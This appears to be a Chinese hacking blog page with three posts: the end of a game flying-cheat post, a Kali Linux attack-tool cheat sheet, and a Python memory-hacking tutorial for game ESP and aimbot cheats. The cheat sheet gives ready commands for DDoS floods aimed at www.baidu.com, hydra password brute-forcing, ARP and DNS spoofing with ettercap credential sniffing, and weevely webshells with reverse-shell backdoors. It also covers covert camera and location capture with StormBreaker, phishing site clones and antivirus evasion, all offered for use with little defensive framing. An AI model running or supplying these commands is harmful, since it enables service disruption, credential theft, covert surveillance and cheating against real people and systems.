即可实现无限飞天效果,由于是静态地址不需要找偏移直接可以用了。视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/2271645516.mp4"/}其他效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/2431621719.mp4"/}已提交修复
2022年10月01日
2,816 阅读
0 评论
953 点赞
2022-09-20
【工具分享】Kali Linux 黑客工具
留言这些工具我用的比较多,学习到的工具,我都会慢慢更新在这里,有些工具需要安装,说的不是太详细可以自行百度文章视频学习。niktoNikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出,2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的http模式等。nikto -host http://www.example.comsteghideSteghide是一款隐写术工具,用于在音频、图像、视频等文件中隐藏机密信息,并且可以加密隐藏的信息。它可以在文件中嵌入任意格式的数据,比如文本文件、图像、音频等等。tcpdumptcpdump是一个强大的网络数据包分析工具,它能够抓取网络上的数据包并将其分析。它可以用来诊断网络问题,分析网络安全问题,监测网络流量等,tcpdump可以运行在各种操作系统上,如Linux、Unix和Windows。unshadowunshadow 是一个 Unix 系统工具,用于将 /etc/passwd 和 /etc/shadow 文件合并为一个 John the Ripper 可读的文件,以便对系统的密码进行密码破解,该命令需要 root 权限,因为需要读取系统上的 shadow 文件,而该文件只有 root 用户才有权限读取。unshadow /etc/passwd /etc/shadow > passwords.txt这条命令会将 /etc/passwd 和 /etc/shadow 文件合并为一个文本文件(passwords.txt),可以使用 John the Ripper 工具对其进行密码破解。rar2johnrar2john是John the Ripper的一个工具,用于将RAR文件的加密密码结构转换为适用于John the Ripper的格式,通过这样做,您可以使用John the Ripper破解加密的RAR文件,以获取存储在其中的数据。rar2john file > 1.txt // 导出hash john 1.txt // 开始爆破hashabab 是web上的压力测试工具,可以实现cc攻击。-n:在测试会话中所执行的请求个数。默认时,仅执行一个请求。-c:一次产生的请求个数。默认是一次一个。ab -c 10000 -n 1000 http://www.baidu.com/hping3hping命令是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP、UDP、ICMP、RAW-IP协议,以及一个路由模型HPING一直被用作安全工具,可以用来测试网络及主机的安全。// syn flood 伪造随机源地址,时间间隔1000us hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000 // tcp flood hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133 // udp flood hping3 --udp 192.168.180.133 -p 80 --rand-source --flood // icmp flood hping3 --icmp 192.168.180.133 --rand-source --flood // dns flood hping3 --udp 192.168.180.133 -p 53 --rand-source --flood // 数据包跟踪 hping3 --traceroute -V -1 www.qq.com // 多端口扫描 hping3 -I eth1 -8 1-1024 192.168.180.133macofmacof可以造成交换机mac泛洪,受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。-i interface 指定要发送的接口 -s src 指定源IP地址 -d dst 指定目标IP地址 -e tha 指定目标硬件地址 -x sport 指定TCP源端口 -y dport 指定TCP目标端口 -n times 指定要发送的数据包数macof // 开始攻击fpingfping是一个小型命令行工具,用于向网络主机发送ICMP ( Internet控制消息协议 )回应请求,类似于ping,但在ping多个主机时性能要高得多。 fping完全不同于ping,因为您可以在命令行上定义任意数量的主机,或者指定包含要ping的IP地址或主机列表的文件。-a 显示可ping通的目标 -A 将目标以ip地址的形式显示 -b <num> ping 数据包的大小。(默认为56) -B <f> 设置指数反馈因子到f -c <num> ping每个目标的次数 (默认为1) -C <num> 同-c,返回的结果为冗长格式 -e 显示返回数据包所费时间 -f <file> 从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用) -g 通过指定开始和结束地址来生成目标列表(例如:fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:fping –g 192.168.1.0/24) -i <num> 设置ip的TTL值 (生存时间) -l 循环发送ping -m ping目标主机的多个网口 -n 将目标以主机名或域名显示(等价于 -d ) -p <num> 对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000) -q 安静模式(不显示每个目标或每个ping的结果) -Q <num> 同-q, 但是每n秒显示信息概要 -r <num 当ping失败时,最大重试次数(默认为3次) -s 打印最后的统计数据 -t <num> 单个目标的超时时间(毫秒)(默认500) -u 显示不可到达的目标 -v 显示版本号fping -v // 显示版本 fping -g 192.168.60.1/24 // 范围扫描 fping -g -a 192.168.60.1/24 // 显示可以ping通的主机并写到文本arp-scanarp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。什么是ARP协议地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。-f 从指定文件中读取主机名或地址 -l 从网络接口配置生成地址 -i 各扫描之间的时间差 -r 每个主机扫描次数 -V 显示程序版本并退出 -t 设置主机超时时间 -L 使用网络接口 -g 不显示重复的数据 -D 显示数据包往返时间arp-scan -l // 范围扫描 arp-scan -f ip.txt // ip范围扫描 arp-scan -l -i 1000 // 扫描之间的时间差 arp-scan -l -r 5 // 每个主机扫描次数 arp-scan -l -V // 显示程序版本并退出 arp-scan -t 1000 192.168.75.0/24 // 设置主机超时时间 arp-scan -L eth0 // 使用网络接口 arp-scan -l -g // 不显示重复的数据 arp-scan -l -D // 显示数据包往返时间 Weevely生成和管理很难检测到的PHP木马,这是一个Web应用程序后开发的重要工。可用于像一个隐藏的后门,作为一个有用的远程控制台更换管理网络帐户,即使托管在免费托管服务,类似于中国菜刀、蚂一剑等工具。weevely generate 208522 webshell.php // 生成webshell weevely http://192.168.80.131/webshell.php 208522 // 连接webshell :shell_su #通过更变使用者来执行shell命令,可以获得root权限来执行命令. :shell_sh #执行 shell 命令. :shell_php #执行 PHP 命令. :system_extensions #收集PHP和webserver扩展列表 :system_info #收集系统信息 :system_procs #列出正在运行的进程 :audit_disablefunctionbypass #使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell :audit_etcpasswd #查看/etc/passwd文件 :audit_suidsgid #查找带有SUID或SGID标志的文件。 :audit_phpconf #查看php配置信息 :audit_filesystem #审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等 :backdoor_reversetcp #执行反向TCP shell. 需要nc -lvp <port>监听 :backdoor_tcp # 在TCP端口上生成shell :net_scan #TCP端口扫描. :net_mail #发送邮件. :net_ifconfig #获取网络接口地址. :net_curl #执行类似curl的HTTP请求. :net_proxy #运行本地代理以通过目标转移HTTP / HTTPS浏览 :net_phpproxy #在目标上安装PHP代理. :bruteforce_sql #可用来猜解数据库密码. :file_find #查找具有给定名称和属性的文件. :file_download #从远程文件系统下载文件. :file_check #获取文件的属性和权限. :file_touch #更改文件时间戳. :file_cd #更改当前工作目录. :file_grep #打印与多个文件中的模式匹配的行. :file_gzip #压缩或解压gzip文件. :file_tar #压缩或解压tar文件. :file_enum #检查路径列表的存在和权限 :file_bzip2 #压缩或解压bzip2文件. :file_mount #使用HTTPfs挂载远程文件系统. :file_clearlog #从文件中删除字符串. :file_zip #压缩或解压zip文件. :file_cp #复制单个文件. :file_upload2web #自动将文件上传到Web文件夹并获取相应的URL. :file_edit #在本地编辑器上编辑远程文件. :file_read #从远程文件系统中读取远程文件. :file_webdownload #指定URL下载文件. :file_upload #文件上载到远程文件系统. :file_ls #列出目录内容. :file_rm #删除远程文件. :sql_dump #Multi dbms mysqldump replacement. :sql_console #执行SQL查询或运行sql控制台.netcatNetCat号称网络工具中的瑞士军刀,可以用它来做很多有用事情,比如侦听端口、端口扫描、传输文件、网络测速等等。1.侦听模式/传输模式2.Telnet/获取banner信息3.传输文本信息4.传输文件/目录5.加密传输文件6.远程控制/木马7.加密所有流量8.流媒体服务器9.远程克隆硬盘nc -lp 444 // 监听模式 nc -nv 192.168.60.121 444 // 连接ip进行通信 nc -nv 192.168.60.121 | ls -l // 远程执行命令 -v 详细输出-l 监听模式,用于入站连接-n 指定数字的IP地址,不能用hostname-p port 本地端口号-q 在stdin的EOF之后退出并延迟秒-z 将输入输出关掉--用于扫描时wirsharkWireshark是网络数据包分析软件,可以探测指定网卡收到的数据包,并尽可能的分析这些数据包的协议、数据等资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,wirshark是图形化操作软件// 过滤规则 ip.src addr==192.168.0.208 or ip.src addr eq 192.168.0.208 // 显示来源IP ip.dst addr==192.168.0.208 or ip.dst addr eq 192.168.0.208 // 显示目标IP tcp.port eq 80 // 不管端口是来源的还是目标的都显示 tcp.port == 80 // 过滤80端口 tcp.port eq 2722 tcp.port eq 80 or udp.port eq 80 tcp.dstport == 80 // 只显tcp协议的目标端口80 tcp.srcport == 80 // 只显tcp协议的来源端口80 tcp.port >= 1 and tcp.port <= 80 // 过滤端口范围 // 工具能使用的协议有 TCP、udp、arp、icmp、http、smtp ftp、dns、msnms、ip、ssl、等等。 udp.length == 26 // 这个长度是指udp本身固定长度8加上udp下面那块数据包之和 tcp.len >= 7 // 指的是ip数据包(tcp下面那块数据),不包括tcp本身 ip.len == 94 // 除了以太网头固定长度14,其它都算是ip.len,即从ip本身到最后 frame.len == 119 // 整个数据包长度,从eth开始到最后nmapNmap,Linux下的网络扫描和嗅探工具包,一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。简单而言,这就是一个工具,用来检测目标主机是否开启,其操作系统是什么,有那些端口是开启的,是否可以扫描到目标主机存在漏洞等等,从而制定渗透的计划。Nmap的探测结果以列表的形式展现,同时分为四个状态:open、closed、filtered(被过滤的)、unfiltered。open:该端口开放;closed:该端口关闭的;filtered:发出的探测数据包不能到达目标主机的目标端口;unfiltered:该端口可以被访问,但具体不清楚是开放的还是关闭的。nmap 192.168.60.1 // 最基础的使用 nmap 192.168.60.1 -vv // 查看其详细信息 namp -p 1-60 192.168.60.1 // 扫描指定端口 nmap -sP 192.168.60.1 // ping扫描 nmap --traceroute 192.168.60.1 // nmap路由追踪 nmap --scan-delay 10s 192.168.60.1 // 每次延迟10秒后再发送数据包,防止大量的扫描记录引起对方的防护。 nmap -Pn 192.168.60.1 // 跳过主机扫描,在扫描防火墙时很有必要。 nmap -iL 1.txt // 扫描文本里面所有的IP nmap -sS -T4 192.168.60.1 // syn 扫描 nmap -sF -T4 192.168.60.1 // fin 扫描 nmap -sA -T4 192.168.60.1 // ack扫描 nmap --script=auth 192.168.60.1 // 弱口令扫描 nmap --script=vuln 192.168.60.1 // 扫描常见漏洞 nmap --script=ftp-brute.nse 192.168.60.1 //扫描弱口令账号,但是所用字典很小 nmap -p 80 --script=http-enum.nse 192.168.60.1 //扫描WEB敏感目录hydrahydra 是一款世界顶级密码暴力破解工具,支持几乎所有的协议的在线破解,功能强大,其密码能否被破解关键取决于破解字典的是否足够强大,在网络安全渗透过程中是一款必备的测试工具。目前该工具支持以下协议的爆破:AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP,使用xhydra可以打开图形界面。-R:继续从上一次进度接着破解 -S:大写,采用SSL链接 -s <PORT>:小写,可通过这个参数指定非默认端口 -l <LOGIN>:指定破解的用户,对特定用户破解 -L <FILE>:指定用户名字典 -p <PASS>:小写,指定密码破解,少用,一般是采用密码字典 -P <FILE>:大写,指定密码字典 -e <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探 -C <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数 -M <FILE>:指定目标列表文件一行一条 -t 指定多线程数,默认为16个线程 -o <FILE>:指定结果输出文件 -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t <TASKS>:同时运行的线程数,默认为16 -w <TIME>:设置最大超时的时间,单位秒,默认是30s -v / -V:显示详细过程 server:目标ip// 爆破SSH: hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 10 192.168.43.94 ssh // -L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息 -t 指定线程数 // 爆破FTP hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.43.94 ftp // -L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息 // 爆破telnet hydra 192.168.43.34 -L user.txt -P passwd.txt -t 10 telnet // 爆破3389 hydra 192.168.43.34 rdp -L user.txt -P passwd.txt -Vdirbdirb 是一个基于命令行的工具,可以根据单词列表对任何目录进行暴力破解。 它会发出一个 HTTP 请求,并查看每个请求的 HTTP 响应代码。-a 设置ua -c 设置cookie带cookie扫描 -N 忽略某些响应码 -o 输出结果 -p 使用代理 -X 在每个测试目录上附加后缀 -z 设置毫秒延迟dirb http://www.baidu.com // 正常扫描 dirb http://www.baidu.com 1.txt // 带用户字典 dirb http://www.baidu.com 1.txt -a "ua" -c "cookie" // 设置 ua 和 cookie dirb http://www.baidu.com 1.txt -p ip:port -o result.txt // 使用代理和输出结果 dirb http://www.baidu.com 1.txt -z 1000 // 设置毫秒延迟arpspoofarpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。工具使用非常简单arpspoof -i eth0 -t 192.168.60.119 192.168.60.1 // 第一个ip是要攻击的主机 第二个ip是要伪装的ip可以填网关 arpspoof -i 网卡 -t 目标IP 网关 // 反向欺骗 arpspoof -i 网卡 -t 网关 目标IPettercap开启流量转发就不会断网受害者的流量会经过攻击者的机器可以实现嗅探echo 1 > /proc/sys/net/ipv4/ip_forward // 开启流量转发 ettercap -G // UI窗口化 ettercap -Tqi eth0 // 进行账号密码嗅探 ettercap -Tqi eth0 -M arp:remote /// /10.11.112.1// // 嗅探网关网页账号密码 ettercap -Tqi eth0 -M ARP // arp毒化eth0所在的网段,安静模式文本显示 ettercap -Tzq /10.0.0.1/21,22,23 -w hack.pcap // 监听10.0.0.1的ftp,ssh,telnet信息,并保存到本地 ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ // 对192.168.1.120进行dns欺骗,使用默认网卡eth0文本模式安静显示 ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 // 使用过滤并监听10.0.0.2在80端口的所有通信,安静模式文本显示,保存数据到本地 ettercap -Tqi eth0 -M ARP /ip// -w scan.logevillimiterevillimiter这个工具可以直接限制别人的网速,这个项目在github上开源,感兴趣可以去看下是 Python3编写的程序。Github地址: https://github.com/bitbrute/evillimiter下载安装直接 git clone https://github.com/bitbrute/evillimiter.git下载到本地后解压,最好是用linux环境,运行需要Python3环境执行 sudo Python setup.py install 来安装 # 按情况来安装好,输入evillimiter进入就可以操作了。┌──(root㉿kali)-[/home/kali/evillimiter] └─# evillimiter // 进入 (Main) >>> scan // 扫描局域网主机 100% |██████████████████████████████| 256/256 OK 12 hosts discovered. (Main) >>> hosts // 列出扫描结果 ┌Hosts────────────────┬───────────────────┬──────────┬────────┐ │ ID │ IP address │ MAC address │ Hostname │ Status │ ├────┼────────────────┼───────────────────┼──────────┼────────┤ │ 0 │ 192.168.60.1 │ 64:6e:97:39:fa:1c │ │ Free │ │ 1 │ 192.168.60.100 │ 90:e8:68:d4:ea:d9 │ │ Free │ │ 2 │ 192.168.60.102 │ 14:5a:fc:3e:52:ed │ │ Free │ │ 3 │ 192.168.60.103 │ 30:f7:72:26:90:11 │ │ Free │ │ 4 │ 192.168.60.104 │ a8:93:4a:2b:dc:87 │ │ Free │ │ 5 │ 192.168.60.105 │ a8:93:4a:89:9d:0d │ │ Free │ │ 6 │ 192.168.60.106 │ e8:d0:fc:c9:ab:27 │ │ Free │ │ 7 │ 192.168.60.107 │ 94:08:53:2f:17:41 │ │ Free │ │ 8 │ 192.168.60.111 │ 00:0c:29:77:cc:fb │ │ Free │ │ 9 │ 192.168.60.117 │ 00:0c:29:32:31:71 │ │ Free │ │ 10 │ 192.168.60.119 │ 04:d9:f5:5f:d3:e3 │ │ Free │ │ 11 │ 192.168.60.250 │ 80:18:44:ed:fc:7c │ │ Free │ └────┴────────────────┴───────────────────┴──────────┴────────┘ (Main) >>> limit 11 1kbit // 进行限速 1kbit 网速 OK 192.168.60.119 upload / download limited to 1kbit. (Main) >>> free 7 // 解除限制 (Main) >>> quit // 退出 sqlmap如果你正在寻找一个开源渗透测试工具。sqlmap 是最好的之一。它可以自动化利用 SQL 注入漏洞的过程,并帮助你接管数据库服务器。sqlmap.py -u url // 判断是否存在注入 sqlmap.py -u url --dbs // 查询当前用户的所有数据库 sqlmap.py -u url -D 数据库 --tables // 获取数据库中的表名 sqlmap.py -u url -D 数据库 -T 表名 --columns // 获取表中的字段名 sqlmap.py -u url -D 数据库 -T 表名 -C 字段 --dump // 获取字段内容 sqlmap.py -u url --users // 获取数据库所有的用户 sqlmap.py -u url --passwords // 获取数据库用户的密码 sqlmap.py -u url --curerent-db // 获取当前网站数据库名 sqlmap.py -u url --current-user // 获取当前网站数据库的用户名称 sqlmap.py -u url --is-dba // 当前用户是否为管理权限StormBreaker无需任何权限即可获取设备信息网址定位位置 [智能手机]网络摄像头偷拍、网址录音感兴趣可以去Github上看看Github地址:https://github.com/ultrasecurity/Storm-Breaker# Linux 操作系统安装 git clone https://github.com/ultrasecurity/Storm-Breaker cd Storm-Breaker sudo bash install.sh sudo python3 -m pip install -r requirements.txt sudo python3 st.pymsfconsolemsfconsole是metasploit中的一个工具(kali自带工具)msfconsole集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具banner // 替换logo search port:443 // 漏洞搜索 use // 指定模块 info // 查看模块信息 back // 返回上一级 show options // 查看参数 show targets // 模块可攻击目标的类型 run、explpit、run -j // 这三个都是执行 check // 检测是否存在漏洞 connect // 连接端口 类似nc sessions // 可以查看运行的会话,一般在回去靶机权限时使用 sessions -i 会话号 // 可以进入运行的会话 getuid // 提权Yersiniayersinia是OSI第2层的攻击的框架,支持生成树协议(STP),VLAN中继协议(VTP),动态中继协议(DTP),IEEE 802.1Q,IEEE 802.1X,思科发现协议(CDP),动态主机配置协议(DHCP)等可以实现dhcp泛洪攻击、交换机欺骗、STP欺骗、ARP欺骗、DHCP欺骗(伪装成dhcp服务器)h 帮助屏幕 x 选择并执行攻击 i 选择网卡 ENTER 关于选择项目的信息 v 查看数据包的16进制 d 加载协议默认值 e 编辑数据表字段 f 列出捕获文件 s 从协议保存数据包 S 保存-来自所有协议的数据包 L 从网络学习数据包 N 设置Mac欺骗开/关 l 列出正在运行的攻击 K 杀死所有正在运行的攻击 c 清除当前协议statc C 清除所有协议状态 g 转到其他协议屏幕 ctrl-l 重绘屏幕 w 写入配置文件 a 关于这个工具 q 退出yersinia -G // 启动图形化界面 yersinia 协议 -interface 网卡-attack id // 命令行的方式hping3// DDOS攻击 (分布式拒绝服务攻击) // UDP ddos攻击: hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ICMP ddos攻击: hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // SYN ddos攻击: hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ACK ddos攻击: hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com // 端口扫描 hping3 -I eth0 -S 192.168.10.1 -p 80dnsspoofdnsspoof是一个dns欺骗工具 我们使用locate dnsspoof.hosts找到这个文件vi 编辑他如下 对应映射会跳转到别胡网站:10.10.10.3 .baidu.com10.10.10.3 .google.com.hkecho 1 >> /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 10.10.10.2 10.10.10.254 arpspoof -i eth0 -t 10.10.10.254 10.10.10.2 // 过滤规则 dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53dnsspoof的原理如下:由于DNS协议使用是传输层协议是UDP协议, 这样无需像TCP那样建立连接就可以轻松的伪造应答包,包括源IP. 10.10.10.2发送DNS 查询包问DNS服务器www.baidu.com的IP地址是多少? 10.10.10.1装作DNS服务器(伪造IP)向攻击目标发送一个DNS响应包说www.baidu.com的IP地址是10.10.10.3。ipdrone通过ip返回经纬度一些信息可实现定位,只能定位到市类似你在百度上搜,ip返回的运营商大概的位置,需要python环境里面没什么厉害的代码,就是调了个api接口实现的。Github: https://github.com/noob-hackers/ipdronepython ipdrone.py -v 127.0.0.1 // 示例 setoolkit功能有很多自己研究吧,一般常用克隆网站,骗取输入账号密码。Aircrack-ng暴力破解WIFI密码的工具,前提需要独立的无线网卡一块,没有其实也是有办法的。httrack爬取网页文件的工具,也就是爬虫工具,在终端输入httrack安装下就行。burpsuiteburp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。beef漏洞分为存储型、反射型、DOM型,最常见的就是利用XSS漏洞弹窗,进一步获取用户Cookie信息。可是如今的WEB系统,有的已经设置HttpOnly属性,有的在请求头中使用Authorization字段提供token令牌,这导致了我们难以获取到用户的身份信息。在这个背景下,XSS漏洞好像越来越没用了。BeEF-XSS是一款非常强大的XSS平台,集成了许多payload,利用它可以极大的提高XSS漏洞的威力。binwalkbinwalk是kali系统中下的文件分析工具。主要是用于CTF_杂项的隐写题,分离提取隐写的文件。如:从图片里分离出压缩包,从流量分析文件里分离出图片,压缩包等。binwalk filepath // 分析文件 binwalk -e filepath // 提取文件volatilityvolatility常用于以下镜像文件的取证:raw、vmen、dmp、img,工具需要自行下载。git clone https://github.com/volatilityfoundation/volatility.gitxsserxsser是一款用于web端自动挖掘和利用xss漏洞的工具,功能非常强大。xsser #命令行启动 xsser –gtk #GUI界面 xsser -u "http://xxx.xxx.xxx/" # 指定 URLpompemPompem的开源工具,该工具可以在当前最热门或最重要的漏洞数据库中搜索漏洞以及相应的漏洞利用代码。该工具采用Python开发,可以帮助渗透测试人员或白帽黑客快速完成漏洞审计任务。# 输入一些网站的框架就可以搜索相关的漏洞 pompem -s Wordpress pompem -s Joomla --html pompem -s "Internet Explorer,joomla,wordpress" --html pompem -s FortiGate --txt pompem -s ssh,ftp,mysqldirsearchdirsearch是一个基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口。dirsearch -u http://www.xxx.comGithub: https://github.com/maurosoria/dirsearchtplmapTplmap是一款自动检测和发掘服务器端模板注入漏洞的工具。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和Twig。python3 tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1 --engine=Jinja2 --os-shell Github: https://github.com/epinna/tplmapkoadic在渗透测试过程中,小伙伴们通常会使用netcat、ncat进行反弹shell,但windows电脑通常不具备开箱即用这些命令的特点,故本期视频我们将分享一个工具koadic,它可以利用windows自带的mshta命令,进行反弹shell从而控制整台windows计算机。同时在关闭终端后依然可以维持会话,除此之外,koadic工具还提供了各种实用的小功能,大家可以自行使用。git clone https://github.com/zerosum0x0/koadic.git cd koadic pip3 install -r requirements.txt ./koadicVeilVeil Evasion,Veil Evasion是linux的一款免杀工具,是一个用 Python 编写的免杀框架,用来生成MSF的Payload,能绕过常见的杀毒软件,它可以将任意脚本或一段 Shellcode 转换成 Windows 可执行文件,从而逃避常见防病毒产品的检测。wapitiWapiti是一款Web应用扫描工具,可以执行黑盒扫描,用户只需要输入要扫描的网址即可,该工具可以探测文件包含、数据库注入、XSS、CRLF、XXE注入、.htaccess绕过等漏洞,还可以指定报告文件格式等。wpscanWPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题,还使用了 Nikto,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。radare2Radare2是一个开源的命令行反汇编框架和逆向工程工具,支持多种架构和文件格式,可以用来对二进制文件进行静态和动态分析,包括反汇编、调试、数据可视化等操作等,跟IDA和x64dbg差不多,最主要的是kali自带,用起来感觉还可以。r2 pwnROPgadgetROPgadget 是一款强大的工具,专为在二进制文件中寻找Gadget而设计。它不仅是一个便捷的查找工具,也能自动化执行相关操作,极大地方便了研究人员在进行返回导向编程(ROP)攻击时的利用过程。ROPgadget 支持多种处理器架构,包括 x86、x64、ARM、PowerPC、SPARC 和 MIPS,同时兼容 ELF、PE 和 Mach-O 三种主流的文件格式。
2022年09月20日
983 阅读
0 评论
76 点赞
2022-07-20
【技术分享】Python3 透视自瞄外挂制作
简介Memory64内存模块是自己无聊的时候封装的,它可以轻松的操作进程中的内存,做一些游戏辅助还是可以的,模块源码已上传Github上,现在的版本是1.0.3后续会继续更新的。Github 项目安装教程pip install Memory641.通过Python自带的pip工具就可以安装模块,模块只支持32位Python,64位Python并不兼容。使用步骤python -c "import Memory64; print(Memory64.version)"1.安装好后,在终端输入这行命令,查看下模块版本,正常显示没有报错就证明安装成功了。取64位模块地址from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开进程句柄 pid = GetProcPid("Calculator.exe") # 获取进程PID mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取64位程序模块基址 mod2 = GetModule2(pid, "shlwapi.dll") # 通过进程PID获取64位程序模块基址 print(pid, hwnd, mod1, mod2) # 输出进程PID, 进程句柄, 输出模块基址2.这里我用64位程序计算器,做一个演示看看能不能读到内存地址,很显然是没问题的。读64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取模块基址"shlwapi.dll" print(ReadMemory64Int(hwnd, mod1)) # 读取指定模块基址的64位内存整数3.通过模块读下地址数值,也是没有问题的,后面就不演示了,直接放代码。写64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 获取模块"shlwapi.dll"的基址 addr = ReadMemory64Int(hwnd, 0x7FF8E64CEC48) # 从指定地址读取64位内存整数 addr2 = ReadMemory64Int(hwnd, mod1 + 0x4EC48) # 使用模块基址加上偏移读取64位内存整数 print(addr, addr2) # 输出两个读取的内存地址值 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在模块基址加上偏移地址写入整数值10 WriteMemory64Float(hwnd, mod1 + 0x4EC48, 5.261) # 写入小数值5.261 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在同一地址写入整数值10 bytesa = "11 33 30 32 32 33 35 40 40 58" # 定义一个字节集数据 WriteMemory64Bytes(hwnd, 0x7FF77E2BE72E, bytesa, 10) # 写入指定地址的字节集数据绘制透明方框from Memory64 import FindWindowPid # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 hwnd = FindWindowPid(None, "xxx")[0] # 通过窗口名称查找窗口句柄 draw = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制模块 while True: draw.startLoop() # 开始绘制段 draw.drawRect(100, 100, 100, 100, 5, (255, 254, 0)) # 绘制矩形,参数依次是起始 x 坐标, 起始 y 坐标, 宽度, 高度, 边框宽度, 颜色 (R, G, B) draw.endLoop() # 结束绘制段如何打包最好用这种形式打包:打包方式外挂类型分类AI外挂基于目标检测模型,如 YOLOv5。通过训练目标检测模型,对游戏画面进行分析,检测敌人并自动移动射击。其原理简单,主要依赖于图像处理与深度学习模型,效果一般,适用于辅助操作,但不涉及游戏内修改。内存外挂使用工具如 Cheat Engine(CE)或 Ollydbg(OD)进行内存操作。强大的内存修改能力,可以直接更改游戏数据,但容易被反作弊系统检测。需要掌握游戏内存结构以及通过端口拦截或hook技术来规避检测。封包外挂使用工具如 WPE来抓包并修改数据包。能够欺骗服务器,通过修改包内容实现功能,例如刷枪、强登账号等。数据包(TCP/UDP)可能部分加密,通过技术如异或解密来获取未加密数据部分。脚本外挂模拟玩家的鼠标、键盘操作,通过脚本自动化完成任务。比较简单,适合用来执行重复性操作,但效果有限,仅能辅助功能性增强。代码实现原理Python3 实现:代码结构基于图像处理、内存修改或网络抓包技术。Python可以通过封装库、调用Windows API 或使用现成工具库来实现外挂功能。例如,可以使用 Memory64 库或直接调用内存操作来实现内存外挂。工具推荐:Cheat Engine 